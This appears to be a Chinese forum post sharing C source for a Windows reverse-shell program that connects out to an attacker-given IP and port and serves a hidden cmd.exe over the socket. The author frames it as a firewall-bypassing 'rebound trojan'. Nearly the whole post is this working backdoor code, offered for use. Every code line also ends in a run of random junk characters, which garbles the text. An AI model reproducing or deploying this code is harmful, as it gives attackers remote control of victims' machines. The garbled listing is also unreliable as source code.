这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 1[k.apn
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/* ============================== ?Fp2W+M
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Rebound port in Windows NT >= VCKN2'j
By wind,2006/7 IQNvhl.{
===============================*/ UJ^MS4;I3
#include 8^2E77s4U
#include 3:ELYn
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#pragma comment(lib,"wsock32.lib") *\"+/
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void OutputShell(); ;cD&qheDV
SOCKET sClient; ..a@9#D
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /4wPMAlb
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void main(int argc,char **argv) E~K5n2CI
{ l1uv]t <
WSADATA stWsaData; $_orxu0W
int nRet; OZn40"`
SOCKADDR_IN stSaiClient,stSaiServer; mF`%Z~}b
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if(argc != 3) ,he1WjL
{ Cak-J~=
printf("Useage:\n\rRebound DestIP DestPort\n"); R^+,D
return; 7:Be.(a
} x$+g/7*
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WSAStartup(MAKEWORD(2,2),&stWsaData); ?j|i|WUD
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jx[g;7~X
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stSaiClient.sin_family = AF_INET; %XiF7<A&
stSaiClient.sin_port = htons(0); /Ps5Og
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); RQQ\y`h`
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) OkfnxknZ|
{ |:)ARH6l#
printf("Bind Socket Failed!\n"); {T'M4y=)i
return; ?
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} rcU*6`IWA
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stSaiServer.sin_family = AF_INET; cj@ar^=`K
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Zy&?.d[z
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8h'*[-]70u
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^\3r}kJ0Lp
{ 7AuzGA0y
printf("Connect Error!"); )7;E,m<:tO
return; gq~6jf>
} i/{`rv*K[
OutputShell(); w6<zPrA
} 7?W1i{(
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void OutputShell() u.9syr
{ "*JyNwf
char szBuff[1024]; V PaW-o
SECURITY_ATTRIBUTES stSecurityAttributes; rPXy(d1<`S
OSVERSIONINFO stOsversionInfo; SEXmVFsQ
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [iGL~RiXtn
STARTUPINFO stStartupInfo; !v68`l15
char *szShell; (y!V0iy]
PROCESS_INFORMATION stProcessInformation; ds
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unsigned long lBytesRead; 9D,/SZ-v
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); y\@INA^
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); X|Rw;FY
stSecurityAttributes.lpSecurityDescriptor = 0; zn2Qp
stSecurityAttributes.bInheritHandle = TRUE; Dg'BlrwbR
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); i&Xjbcbp
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); n1PV/ Z
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @*^%^ P
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hzV= 7
stStartupInfo.wShowWindow = SW_HIDE; L,_Z:\^
stStartupInfo.hStdInput = hReadPipe; )=5,S~IT
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; rPUk%S
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GetVersionEx(&stOsversionInfo); Dt glPo_(
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switch(stOsversionInfo.dwPlatformId) H}PZJf_E
{
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case 1: FfpP<(4
szShell = "command.com"; eiJ~1HX)
break; {jOV8SVL
default: i(an]%'v
szShell = "cmd.exe"; QUKv :;
break; Ac8t>;=&
} Mi:i1i
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); gH:+$FA
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send(sClient,szMsg,77,0); f`bRg8v
while(1) qLa6c2o,
{ 2f0qfF
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Jm[_X
if(lBytesRead) +V9<ug6T
{ PS'SI X
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -W.bOr
send(sClient,szBuff,lBytesRead,0); Wo+^R%K'4
} LtVIvZie
else )JXy>q#
{
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lBytesRead=recv(sClient,szBuff,1024,0); q"$C)o
if(lBytesRead<=0) break; xM2UwTpW
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (g3@3.Kk)
} 5j>olz=n}
} |{9&!=/qf
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return; ^k5# {?I
}